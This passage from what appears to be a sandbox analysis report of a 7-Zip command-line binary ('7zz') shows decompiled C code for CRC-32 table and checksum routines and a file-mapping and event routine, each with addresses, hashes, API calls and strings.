				 *((intOrPtr*)(__ecx + 0x30)) = 0;
				 *((intOrPtr*)(__ecx + 0x4c)) = 0;
				 *((intOrPtr*)(__ecx + 0x20)) = 0;
				 *((intOrPtr*)(__ecx + 0x2c)) = 0x20;
				 *((intOrPtr*)(__ecx + 0x54)) = 1;
				 *((intOrPtr*)(__ecx + 0x48)) = 4;
				 *((intOrPtr*)(__ecx + 0x58)) = 0;
				_t8 = _t37 + 0x70; // 0x80
				_t68 = _t8;
				do {
					_t35 =  !((( !((( !((( !((( !((( !((( !((_t67 & 0x00000001) - 1) & 0xedb88320 ^ _t67 >> 0x00000001) & 0x00000001) - 1) & 0xedb88320 ^ ( !((_t67 & 0x00000001) - 1) & 0xedb88320 ^ _t67 >> 0x00000001) >> 0x00000001) & 0x00000001) - 1) & 0xedb88320 ^ ( !((( !((_t67 & 0x00000001) - 1) & 0xedb88320 ^ _t67 >> 0x00000001) & 0x00000001) - 1) & 0xedb88320 ^ ( !((_t67 & 0x00000001) - 1) & 0xedb88320 ^ _t67 >> 0x00000001) >> 0x00000001) >> 0x00000001) & 0x00000001) - 1) & 0xedb88320 ^ ( !((( !((( !((_t67 & 0x00000001) - 1) & 0xedb88320 ^ _t67 >> 0x00000001) & 0x00000001) - 1) & 0xedb88320 ^ ( !((_t67 & 0x00000001) - 1) & 0xedb88320 ^ _t67 >> 0x00000001) >> 0x00000001) & 0x00000001) - 1) & 0xedb88320 ^ ( !((( !((_t67 & 0x00000001) - 1) & 0xedb88320 ^ _t67 >> 0x00000001) & 0x00000001) - 1) & 0xedb88320 ^ ( !((_t67 & 0x00000001) - 1) & 0xedb88320 ^ _t67 >> 0x00000001) >> 0x00000001) >> 0x00000001) >> 0x00000001) & 0x00000001) - 1) & 0xedb88320 ^ ( !((( !((( !((( !((_t67 & 0x00000001) - 1) & 0xedb88320 ^ _t67 >> 0x00000001) & 0x00000001) - 1) & 0xedb88320 ^ ( !((_t67 & 0x00000001) - 1) & 0xedb88320 ^ _t67 >> 0x00000001) >> 0x00000001) & 0x00000001) - 1) & 0xedb88320 ^ ( !((( !((_t67 & 0x00000001) - 1) & 0xedb88320 ^ _t67 >> 0x00000001) & 0x00000001) - 1) & 0xedb88320 ^ ( !((_t67 & 0x00000001) - 1) & 0xedb88320 ^ _t67 >> 0x00000001) >> 0x00000001) >> 0x00000001) & 0x00000001) - 1) & 0xedb88320 ^ ( !((( !((( !((_t67 & 0x00000001) - 1) & 0xedb88320 ^ _t67 >> 0x00000001) & 0x00000001) - 1) & 0xedb88320 ^ ( !((_t67 & 0x00000001) - 1) & 0xedb88320 ^ _t67 >> 0x00000001) >> 0x00000001) & 0x00000001) - 1) & 0xedb88320 ^ ( !((( !((_t67 & 0x00000001) - 1) & 0xedb88320 ^ _t67 >> 0x00000001) & 0x00000001) - 1) & 0xedb88320 ^ ( !((_t67 & 0x00000001) - 1) & 0xedb88320 ^ _t67 >> 0x00000001) >> 0x00000001) >> 0x00000001) >> 0x00000001) >> 0x00000001) & 0x00000001) - 1) & 0xedb88320 ^ ( !((( !((( !((( !((( !((_t67 & 0x00000001) - 1) & 0xedb88320 ^ _t67 >> 0x00000001) & 0x00000001) - 1) & 0xedb88320 ^ ( !((_t67 & 0x00000001) - 1) & 0xedb88320 ^ _t67 >> 0x00000001) >> 0x00000001) & 0x00000001) - 1) & 0xedb88320 ^ ( !((( !((_t67 & 0x00000001) - 1) & 0xedb88320 ^ _t67 >> 0x00000001) & 0x00000001) - 1) & 0xedb88320 ^ ( !((_t67 & 0x00000001) - 1) & 0xedb88320 ^ _t67 >> 0x00000001) >> 0x00000001) >> 0x00000001) & 0x00000001) - 1) & 0xedb88320 ^ ( !((( !((( !((_t67 & 0x00000001) - 1) & 0xedb88320 ^ _t67 >> 0x00000001) & 0x00000001) - 1) & 0xedb88320 ^ ( !((_t67 & 0x00000001) - 1) & 0xedb88320 ^ _t67 >> 0x00000001) >> 0x00000001) & 0x00000001) - 1) & 0xedb88320 ^ ( !((( !((_t67 & 0x00000001) - 1) & 0xedb88320 ^ _t67 >> 0x00000001) & 0x00000001) - 1) & 0xedb88320 ^ ( !((_t67 & 0x00000001) - 1) & 0xedb88320 ^ _t67 >> 0x00000001) >> 0x00000001) >> 0x00000001) >> 0x00000001) & 0x00000001) - 1) & 0xedb88320 ^ ( !((( !((( !((( !((_t67 & 0x00000001) - 1) & 0xedb88320 ^ _t67 >> 0x00000001) & 0x00000001) - 1) & 0xedb88320 ^ ( !((_t67 & 0x00000001) - 1) & 0xedb88320 ^ _t67 >> 0x00000001) >> 0x00000001) & 0x00000001) - 1) & 0xedb88320 ^ ( !((( !((_t67 & 0x00000001) - 1) & 0xedb88320 ^ _t67 >> 0x00000001) & 0x00000001) - 1) & 0xedb88320 ^ ( !((_t67 & 0x00000001) - 1) & 0xedb88320 ^ _t67 >> 0x00000001) >> 0x00000001) >> 0x00000001) & 0x00000001) - 1) & 0xedb88320 ^ ( !((( !((( !((_t67 & 0x00000001) - 1) & 0xedb88320 ^ _t67 >> 0x00000001) & 0x00000001) - 1) & 0xedb88320 ^ ( !((_t67 & 0x00000001) - 1) & 0xedb88320 ^ _t67 >> 0x00000001) >> 0x00000001) & 0x00000001) - 1) & 0xedb88320 ^ ( !((( !((_t67 & 0x00000001) - 1) & 0xedb88320 ^ _t67 >> 0x00000001) & 0x00000001) - 1) & 0xedb88320 ^ ( !((_t67 & 0x00000001) - 1) & 0xedb88320 ^ _t67 >> 0x00000001) >> 0x00000001) >> 0x00000001) >> 0x00000001) >> 0x00000001) >> 0x00000001) & 0x00000001) - 1) & 0xedb88320 ^ ( !((( !((( !((( !((( !((( !((_t67 & 0x00000001) - 1) & 0xedb88320 ^ _t67 >> 0x00000001) & 0x00000001) - 1) & 0xedb88320 ^ ( !((_t67 & 0x00000001) - 1) & 0xedb88320 ^ _t67 >> 0x00000001) >> 0x00000001) & 0x00000001) - 1) & 0xedb88320 ^ ( !((( !((_t67 & 0x00000001) - 1) & 0xedb88320 ^ _t67 >> 0x00000001) & 0x00000001) - 1) & 0xedb88320 ^ ( !((_t67 & 0x00000001) - 1) & 0xedb88320 ^ _t67 >> 0x00000001) >> 0x00000001) >> 0x00000001) & 0x00000001) - 1) & 0xedb88320 ^ ( !((( !((( !((_t67 & 0x00000001) - 1) & 0xedb88320 ^ _t67 >> 0x00000001) & 0x00000001) - 1) & 0xedb88320 ^ ( !((_t67 & 0x00000001) - 1) & 0xedb88320 ^ _t67 >> 0x00000001) >> 0x00000001) & 0x00000001) - 1) & 0xedb88320 ^ ( !((( !((_t67 & 0x00000001) - 1) & 0xedb88320 ^ _t67 >> 0x00000001) & 0x00000001) - 1) & 0xedb88320 ^ ( !((_t67 & 0x00000001) - 1) & 0xedb88320 ^ _t67 >> 0x00000001) >> 0x00000001) >> 0x00000001) >> 0x00000001) & 0x00000001) - 1) & 0xedb88320 ^ ( !((( !((( !((( !((_t67 & 0x00000001) - 1) & 0xedb88320 ^ _t67 >> 0x00000001) & 0x00000001) - 1) & 0xedb88320 ^ ( !((_t67 & 0x00000001) - 1) & 0xedb88320 ^ _t67 >> 0x00000001) >> 0x00000001) & 0x00000001) - 1) & 0xedb88320 ^ ( !((( !((_t67 & 0x00000001) - 1) & 0xedb88320 ^ _t67 >> 0x00000001) & 0x00000001) - 1) & 0xedb88320 ^ ( !((_t67 & 0x00000001) - 1) & 0xedb88320 ^ _t67 >> 0x00000001) >> 0x00000001) >> 0x00000001) & 0x00000001) - 1) & 0xedb88320 ^ ( !((( !((( !((_t67 & 0x00000001) - 1) & 0xedb88320 ^ _t67 >> 0x00000001) & 0x00000001) - 1) & 0xedb88320 ^ ( !((_t67 & 0x00000001) - 1) & 0xedb88320 ^ _t67 >> 0x00000001) >> 0x00000001) & 0x00000001) - 1) & 0xedb88320 ^ ( !((( !((_t67 & 0x00000001) - 1) & 0xedb88320 ^ _t67 >> 0x00000001) & 0x00000001) - 1) & 0xedb88320 ^ ( !((_t67 & 0x00000001) - 1) & 0xedb88320 ^ _t67 >> 0x00000001) >> 0x00000001) >> 0x00000001) >> 0x00000001) >> 0x00000001) & 0x00000001) - 1) & 0xedb88320 ^ ( !((( !((( !((( !((( !((_t67 & 0x00000001) - 1) & 0xedb88320 ^ _t67 >> 0x00000001) & 0x00000001) - 1) & 0xedb88320 ^ ( !((_t67 & 0x00000001) - 1) & 0xedb88320 ^ _t67 >> 0x00000001) >> 0x00000001) & 0x00000001) - 1) & 0xedb88320 ^ ( !((( !((_t67 & 0x00000001) - 1) & 0xedb88320 ^ _t67 >> 0x00000001) & 0x00000001) - 1) & 0xedb88320 ^ ( !((_t67 & 0x00000001) - 1) & 0xedb88320 ^ _t67 >> 0x00000001) >> 0x00000001) >> 0x00000001) & 0x00000001) - 1) & 0xedb88320 ^ ( !((( !((( !((_t67 & 0x00000001) - 1) & 0xedb88320 ^ _t67 >> 0x00000001) & 0x00000001) - 1) & 0xedb88320 ^ ( !((_t67 & 0x00000001) - 1) & 0xedb88320 ^ _t67 >> 0x00000001) >> 0x00000001) & 0x00000001) - 1) & 0xedb88320 ^ ( !((( !((_t67 & 0x00000001) - 1) & 0xedb88320 ^ _t67 >> 0x00000001) & 0x00000001) - 1) & 0xedb88320 ^ ( !((_t67 & 0x00000001) - 1) & 0xedb88320 ^ _t67 >> 0x00000001) >> 0x00000001) >> 0x00000001) >> 0x00000001) & 0x00000001) - 1) & 0xedb88320 ^ ( !((( !((( !((( !((_t67 & 0x00000001) - 1) & 0xedb88320 ^ _t67 >> 0x00000001) & 0x00000001) - 1) & 0xedb88320 ^ ( !((_t67 & 0x00000001) - 1) & 0xedb88320 ^ _t67 >> 0x00000001) >> 0x00000001) & 0x00000001) - 1) & 0xedb88320 ^ ( !((( !((_t67 & 0x00000001) - 1) & 0xedb88320 ^ _t67 >> 0x00000001) & 0x00000001) - 1) & 0xedb88320 ^ ( !((_t67 & 0x00000001) - 1) & 0xedb88320 ^ _t67 >> 0x00000001) >> 0x00000001) >> 0x00000001) & 0x00000001) - 1) & 0xedb88320 ^ ( !((( !((( !((_t67 & 0x00000001) - 1) & 0xedb88320 ^ _t67 >> 0x00000001) & 0x00000001) - 1) & 0xedb88320 ^ ( !((_t67 & 0x00000001) - 1) & 0xedb88320 ^ _t67 >> 0x00000001) >> 0x00000001) & 0x00000001) - 1) & 0xedb88320 ^ ( !((( !((_t67 & 0x00000001) - 1) & 0xedb88320 ^ _t67 >> 0x00000001) & 0x00000001) - 1) & 0xedb88320 ^ ( !((_t67 & 0x00000001) - 1) & 0xedb88320 ^ _t67 >> 0x00000001) >> 0x00000001) >> 0x00000001) >> 0x00000001) >> 0x00000001) >> 0x00000001) >> 0x00000001;
					_t36 = _t35 >> 1;
					 *_t68 =  !((_t35 & 0x00000001) - 1) & 0xedb88320 ^ _t36;
					_t67 = _t67 + 1;
					_t68 =  &(_t68[1]);
				} while (_t67 < 0x100);
				return _t36;
			}

0x00459e70
0x00459e70
0x00459e73
0x00459e76
0x00459e79
0x00459e7c
0x00459e83
0x00459e8a
0x00459e91
0x00459e94
0x00459e94
0x00459e97
0x00459f11
0x00459f21
0x00459f25
0x00459f27
0x00459f28
0x00459f2b
0x00459f38

Memory Dump Source

Source File: 0000000B.00000002.353629100.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.353620656.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353773201.000000000047A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353794533.000000000048A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353810041.000000000048B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353815921.000000000048C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353820295.000000000048D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353830778.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353838498.0000000000499000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_7zz.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 772e87da75b6b7c62898645b4c777575a3ccfa1faee4ffe1159f4fb115bb9a44
Instruction ID: c9cb9fdb4045278a2449ae7dde7cf1f47b93b7590a933fb60e95c99ee0c0d7ef
Opcode Fuzzy Hash: 772e87da75b6b7c62898645b4c777575a3ccfa1faee4ffe1159f4fb115bb9a44
Instruction Fuzzy Hash: 4A11E97E270D0647A75C876DAC336B921C1E784309798A13DE54BCA3C2EF6EC896C648

Uniqueness

Uniqueness Score: -1.00%

Function 00472B30 Relevance: .1, Instructions: 71
COMMONCrypto

Download Yara Rule

C-Code - Quality: 100%

			E00472B30(signed char __ecx, signed int __edx, intOrPtr _a4, intOrPtr _a8) {
				signed char _t42;
				signed int _t44;
				signed int _t49;
				signed int _t50;
				unsigned int _t58;
				signed char _t59;
				signed int _t61;
				void* _t62;
				intOrPtr _t63;
				intOrPtr _t64;
				signed int _t66;
				signed int _t68;
				signed int _t78;
				intOrPtr _t80;

				_t61 = __edx;
				_t42 = __ecx;
				_t63 = _a4;
				_t80 = _a8;
				if(_t63 != 0) {
					while((_t61 & 0x00000007) != 0) {
						_t78 =  *_t61 & 0x000000ff;
						_t61 = _t61 + 1;
						_t42 = _t42 >> 0x00000008 ^  *(_t80 + (_t78 ^ _t42 & 0x000000ff) * 4);
						_t63 = _t63 - 1;
						if(_t63 != 0) {
							continue;
						}
						break;
					}
					if(_t63 >= 0x10) {
						_t64 = _t63 + _t61;
						_a4 = _t64;
						_t66 = _t64 - 0x00000008 & 0xfffffff8;
						_t62 = _t61 - _t66;
						_t44 = _t42 ^  *(_t62 + _t66);
						_t58 =  *(_t62 + _t66 + 4);
						do {
							_t49 = _t58 & 0x000000ff;
							_t50 = _t58 & 0x000000ff;
							_t59 = _t58 >> 0x10;
							_t58 =  *(_t62 + _t66 + 0xc);
							_t44 =  *(_t80 + 0x1000 + (_t44 >> 0x00000010 & 0x000000ff) * 4) ^  *(_t62 + _t66 + 8) ^  *(_t80 + 0xc00 + _t49 * 4) ^  *(_t80 + 0x800 + _t50 * 4) ^  *(_t80 + 0x400 + (_t59 & 0x000000ff) * 4) ^  *(_t80 + (_t59 & 0x000000ff) * 4) ^  *(_t80 + 0x1c00 + (_t44 & 0x000000ff) * 4) ^  *(_t80 + 0x1800 + (_t44 & 0x000000ff) * 4) ^  *(_t80 + 0x1400 + (_t44 >> 0x00000010 & 0x000000ff) * 4);
							_t62 = _t62 + 8;
						} while (_t62 != 0);
						_t42 = _t44 ^  *(_t62 + _t66);
						_t61 = _t66;
						_t63 = _a4 - _t61;
						L7:
						while(_t63 != 0) {
							_t68 =  *_t61 & 0x000000ff;
							_t61 = _t61 + 1;
							_t42 = _t42 >> 0x00000008 ^  *(_t80 + (_t68 ^ _t42 & 0x000000ff) * 4);
							_t63 = _t63 - 1;
						}
						return _t42;
					}
				}
				goto L7;
			}

0x00472b30
0x00472b34
0x00472b36
0x00472b3a
0x00472b40
0x00472b46
0x00472b4e
0x00472b51
0x00472b5a
0x00472b5e
0x00472b5f
0x00000000
0x00000000
0x00000000
0x00472b5f
0x00472b64
0x00472b6a
0x00472b6c
0x00472b73
0x00472b76
0x00472b78
0x00472b7b
0x00472b80
0x00472b84
0x00472b8e
0x00472b98
0x00472baf
0x00472bdb
0x00472bdd
0x00472bdd
0x00472be2
0x00472be5
0x00472beb
0x00000000
0x00472bed
0x00472bf1
0x00472bf4
0x00472bfd
0x00472c01
0x00472c01
0x00472c08
0x00472c08
0x00472b64
0x00000000

Memory Dump Source

Source File: 0000000B.00000002.353629100.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.353620656.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353773201.000000000047A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353794533.000000000048A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353810041.000000000048B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353815921.000000000048C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353820295.000000000048D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353830778.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353838498.0000000000499000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_7zz.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d500e99f8a94672710fdab3da84f4ff88beaa55a68f080d6b94a73964fb8a436
Instruction ID: 841e742ca2b343ce69cf51eeea2c428e43b70acb97c5447e4c3c03e40b730c9e
Opcode Fuzzy Hash: d500e99f8a94672710fdab3da84f4ff88beaa55a68f080d6b94a73964fb8a436
Instruction Fuzzy Hash: 1E21C832D046254BC752CE6DE5C45A7F3D1FBC436AF578627ED8867290C528B85486E0

Uniqueness

Uniqueness Score: -1.00%

Function 00472C0B Relevance: .1, Instructions: 70
COMMONCrypto

Download Yara Rule

C-Code - Quality: 100%

			E00472C0B(signed char __ecx, signed int __edx, intOrPtr _a4, intOrPtr _a8) {
				signed char _t39;
				signed int _t41;
				signed int _t63;
				void* _t64;
				intOrPtr _t65;
				intOrPtr _t66;
				signed int _t68;
				signed int _t70;
				signed int _t74;
				intOrPtr _t76;

				_t63 = __edx;
				_t39 = __ecx;
				_t65 = _a4;
				_t76 = _a8;
				if(_t65 != 0) {
					while((_t63 & 0x00000007) != 0) {
						_t74 =  *_t63 & 0x000000ff;
						_t63 = _t63 + 1;
						_t39 = _t39 >> 0x00000008 ^  *(_t76 + (_t74 ^ _t39 & 0x000000ff) * 4);
						_t65 = _t65 - 1;
						if(_t65 != 0) {
							continue;
						}
						break;
					}
					if(_t65 >= 0x10) {
						_t66 = _t65 + _t63;
						_a4 = _t66;
						_t68 = _t66 - 0x00000008 & 0xfffffff8;
						_t64 = _t63 - _t68;
						_t41 = _t39 ^  *(_t64 + _t68);
						do {
							_t41 =  *(_t76 + 0xc00 + (( *(_t76 + 0xc00 + (_t41 & 0x000000ff) * 4) ^  *(_t64 + _t68 + 4) ^  *(_t76 + 0x800 + (_t41 & 0x000000ff) * 4) ^  *(_t76 + (_t41 >> 0x00000010 & 0x000000ff) * 4) ^  *(_t76 + 0x400 + (_t41 >> 0x00000010 & 0x000000ff) * 4)) & 0x000000ff) * 4) ^  *(_t64 + _t68 + 8) ^  *(_t76 + 0x800 + (( *(_t76 + 0xc00 + (_t41 & 0x000000ff) * 4) ^  *(_t64 + _t68 + 4) ^  *(_t76 + 0x800 + (_t41 & 0x000000ff) * 4) ^  *(_t76 + (_t41 >> 0x00000010 & 0x000000ff) * 4) ^  *(_t76 + 0x400 + (_t41 >> 0x00000010 & 0x000000ff) * 4)) & 0x000000ff) * 4) ^  *(_t76 + (( *(_t76 + 0xc00 + (_t41 & 0x000000ff) * 4) ^  *(_t64 + _t68 + 4) ^  *(_t76 + 0x800 + (_t41 & 0x000000ff) * 4) ^  *(_t76 + (_t41 >> 0x00000010 & 0x000000ff) * 4) ^  *(_t76 + 0x400 + (_t41 >> 0x00000010 & 0x000000ff) * 4)) >> 0x00000010 & 0x000000ff) * 4) ^  *(_t76 + 0x400 + (( *(_t76 + 0xc00 + (_t41 & 0x000000ff) * 4) ^  *(_t64 + _t68 + 4) ^  *(_t76 + 0x800 + (_t41 & 0x000000ff) * 4) ^  *(_t76 + (_t41 >> 0x00000010 & 0x000000ff) * 4) ^  *(_t76 + 0x400 + (_t41 >> 0x00000010 & 0x000000ff) * 4)) >> 0x00000010 & 0x000000ff) * 4);
							_t64 = _t64 + 8;
						} while (_t64 != 0);
						_t39 = _t41 ^  *(_t64 + _t68);
						_t63 = _t68;
						_t65 = _a4 - _t63;
						L8:
						while(_t65 != 0) {
							_t70 =  *_t63 & 0x000000ff;
							_t63 = _t63 + 1;
							_t39 = _t39 >> 0x00000008 ^  *(_t76 + (_t70 ^ _t39 & 0x000000ff) * 4);
							_t65 = _t65 - 1;
						}
						return _t39;
					}
				}
				goto L8;
			}

0x00472c0b
0x00472c14
0x00472c16
0x00472c1a
0x00472c20
0x00472c26
0x00472c2e
0x00472c31
0x00472c3a
0x00472c3e
0x00472c3f
0x00000000
0x00000000
0x00000000
0x00472c3f
0x00472c44
0x00472c4a
0x00472c4c
0x00472c53
0x00472c56
0x00472c58
0x00472c60
0x00472cb6
0x00472cbd
0x00472cbd
0x00472cc2
0x00472cc5
0x00472ccb
0x00000000
0x00472ccd
0x00472cd1
0x00472cd4
0x00472cdd
0x00472ce1
0x00472ce1
0x00472ce8
0x00472ce8
0x00472c44
0x00000000

Memory Dump Source

Source File: 0000000B.00000002.353629100.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.353620656.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353773201.000000000047A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353794533.000000000048A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353810041.000000000048B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353815921.000000000048C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353820295.000000000048D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353830778.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353838498.0000000000499000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_7zz.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d88b4545622fc2f48369f3988b55fed1d0241348448e0d26e09a3dd7181b3030
Instruction ID: 3aa8b7520b6c29b039fcb8c41eb560a1c276bd8b531b3edbaf52973018cb75c7
Opcode Fuzzy Hash: d88b4545622fc2f48369f3988b55fed1d0241348448e0d26e09a3dd7181b3030
Instruction Fuzzy Hash: 252149725104254FC302DF2DE5886BBB3E1FFE4319F63CA3BD9858B281C628D844D6A0

Uniqueness

Uniqueness Score: -1.00%

Function 00410DFA Relevance: 21.2, APIs: 8, Strings: 4, Instructions: 183
fileCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00410DFA(intOrPtr __ecx, void* __edx) {
				void* _t63;
				void* _t68;
				void* _t75;
				long _t76;
				void* _t83;
				void* _t90;
				void* _t134;
				void* _t135;
				long _t142;
				signed int _t144;
				void* _t145;
				void* _t147;
				void* _t149;

				L0046B890(E00474220, _t147);
				 *((intOrPtr*)(_t147 - 0x10)) = _t149 - 0x58;
				_t134 = __edx;
				 *((intOrPtr*)(_t147 - 0x20)) = __ecx;
				_t63 = E00411BA8(__edx, 0x3a, 0);
				_t138 = _t63;
				if(_t63 < 0) {
					L0040FFF2();
				}
				L00407399(_t134, _t147 - 0x64, _t138);
				 *(_t147 - 4) = 0;
				L004072C9(_t134, _t147 - 0x40, _t138 + 1);
				 *(_t147 - 4) = 1;
				_t68 = E00411BA8(_t147 - 0x40, 0x3a, 0);
				_t140 = _t68;
				if(_t68 < 0) {
					L0040FFF2();
				}
				L00407399(_t147 - 0x40, _t147 - 0x58, _t140);
				 *(_t147 - 4) = 2;
				L004072C9(_t147 - 0x40, _t147 - 0x4c, _t140 + 1);
				 *(_t147 - 4) = 3;
				_t142 = E004082A1( *((intOrPtr*)(_t147 - 0x58)), 0);
				 *(_t147 - 0x24) = 0;
				 *(_t147 - 0x18) = 0;
				_t131 = _t147 - 0x64;
				 *(_t147 - 4) = 4;
				_t75 = OpenFileMappingA(4, 0,  *(E0041AE3F()));
				 *(_t147 - 0x18) = _t75;
				if(_t75 == 0) {
					_t76 = GetLastError();
				} else {
					_t76 = 0;
				}
				 *((char*)(_t147 - 0x11)) = _t76 != 0;
				L00407A18( *((intOrPtr*)(_t147 - 0x34)));
				if( *((intOrPtr*)(_t147 - 0x11)) != 0) {
					L0040FFFD("Can not open mapping");
				}
				_t135 = MapViewOfFile( *(_t147 - 0x18), 4, 0, 0, _t142);
				 *(_t147 - 0x24) = _t135;
				if(_t135 == 0) {
					L0040FFFD("MapViewOfFile error");
				}
				 *(_t147 - 4) = 5;
				if( *_t135 != 0) {
					L0040FFFD("Incorrect mapping data");
				}
				 *(_t147 - 0x1c) = _t142 >> 1;
				 *((intOrPtr*)(_t147 - 0x34)) = 0;
				 *(_t147 - 0x30) = 0;
				 *((intOrPtr*)(_t147 - 0x2c)) = 0;
				E00401E9A(_t147 - 0x34, 3);
				 *(_t147 - 4) = 6;
				_t144 = 1;
				while(_t144 <  *(_t147 - 0x1c)) {
					_t94 =  *((intOrPtr*)(_t135 + _t144 * 2));
					if( *((intOrPtr*)(_t135 + _t144 * 2)) != 0) {
						E004054FE(_t147 - 0x34, _t131, __eflags, _t94);
					} else {
						_t131 = _t147 - 0x34;
						E00410AC9( *((intOrPtr*)(_t147 - 0x20)), _t147 - 0x34,  *((intOrPtr*)(_t147 + 8)),  *(_t147 + 0xc));
						 *(_t147 - 0x30) = 0;
						 *((short*)( *((intOrPtr*)(_t147 - 0x34)))) = 0;
					}
					_t144 = _t144 + 1;
				}
				__eflags =  *(_t147 - 0x30);
				if( *(_t147 - 0x30) != 0) {
					L0040FFFD("data error");
				}
				L00407A18( *((intOrPtr*)(_t147 - 0x34)));
				 *(_t147 - 4) = 4;
				UnmapViewOfFile(_t135);
				__eflags =  *(_t147 - 0x18);
				if( *(_t147 - 0x18) != 0) {
					CloseHandle( *(_t147 - 0x18));
				}
				 *(_t147 + 0xc) = 0;
				 *(_t147 - 4) = 8;
				_t83 = OpenEventA(2, 0,  *(E0041AE3F()));
				__eflags = _t83;
				 *(_t147 + 0xc) = _t83;
				if(_t83 == 0) {
					_t145 = GetLastError();
				} else {
					_t145 = 0;
				}
				L00407A18( *((intOrPtr*)(_t147 - 0x34)));
				__eflags = _t145;
				if(_t145 == 0) {
					L00467B10(_t147 + 0xc);
				}
				L00467A90(_t147 + 0xc);
				L00407A18( *((intOrPtr*)(_t147 - 0x4c)));
				L00407A18( *((intOrPtr*)(_t147 - 0x58)));
				L00407A18( *((intOrPtr*)(_t147 - 0x40)));
				_t90 = L00407A18( *((intOrPtr*)(_t147 - 0x64)));
				 *[fs:0x0] =  *((intOrPtr*)(_t147 - 0xc));
				return _t90;
			}

0x00410dff
0x00410e0c
0x00410e0f
0x00410e11
0x00410e19
0x00410e1e
0x00410e22
0x00410e24
0x00410e24
0x00410e30
0x00410e3d
0x00410e40
0x00410e4b
0x00410e4f
0x00410e54
0x00410e58
0x00410e5a
0x00410e5a
0x00410e67
0x00410e75
0x00410e79
0x00410e83
0x00410e8c
0x00410e8e
0x00410e91
0x00410e94
0x00410e9a
0x00410ea8
0x00410eb0
0x00410eb3
0x00410eb9
0x00410eb5
0x00410eb5
0x00410eb5
0x00410ec4
0x00410ec8
0x00410ed1
0x00410ed8
0x00410ed8
0x00410eeb
0x00410eef
0x00410ef2
0x00410ef9
0x00410ef9
0x00410f01
0x00410f05
0x00410f0c
0x00410f0c
0x00410f18
0x00410f1b
0x00410f1e
0x00410f21
0x00410f24
0x00410f2b
0x00410f2f
0x00410f30
0x00410f35
0x00410f3c
0x00410f5e
0x00410f3e
0x00410f44
0x00410f4a
0x00410f52
0x00410f55
0x00410f55
0x00410f63
0x00410f63
0x00410f66
0x00410f69
0x00410f70
0x00410f70
0x00410f78
0x00410f7e
0x00410f86
0x00410f8c
0x00410f8f
0x00410f94
0x00410f94
0x00410f9a
0x00410fa3
0x00410fb1
0x00410fb7
0x00410fb9
0x00410fbc
0x00410fc8
0x00410fbe
0x00410fbe
0x00410fbe
0x00410fcd
0x00410fd2
0x00410fd5
0x00410fda
0x00410fda
0x00410fe2
0x00410fea
0x00410ff2
0x00410ffa
0x00411002
0x0041100d
0x00411018

APIs

__EH_prolog.LIBCMT ref: 00410DFF
OpenFileMappingA.KERNEL32 ref: 00410EA8
GetLastError.KERNEL32 ref: 00410EB9
MapViewOfFile.KERNEL32(00000002,00000004,00000000,00000000,00000000,?), ref: 00410EE5
UnmapViewOfFile.KERNEL32(00000000,00000003), ref: 00410F86
CloseHandle.KERNEL32(00000002), ref: 00410F94
OpenEventA.KERNEL32(00000002,00000000,00000000), ref: 00410FB1
GetLastError.KERNEL32 ref: 00410FC2

Strings

Can not open mapping, xrefs: 00410ED3
data error, xrefs: 00410F6B
Incorrect mapping data, xrefs: 00410F07
MapViewOfFile error, xrefs: 00410EF4

Memory Dump Source

Source File: 0000000B.00000002.353629100.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.353620656.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353773201.000000000047A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353794533.000000000048A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353810041.000000000048B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353815921.000000000048C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353820295.000000000048D000.00000004.00000001.01000000.00000003.sdmpDownload File
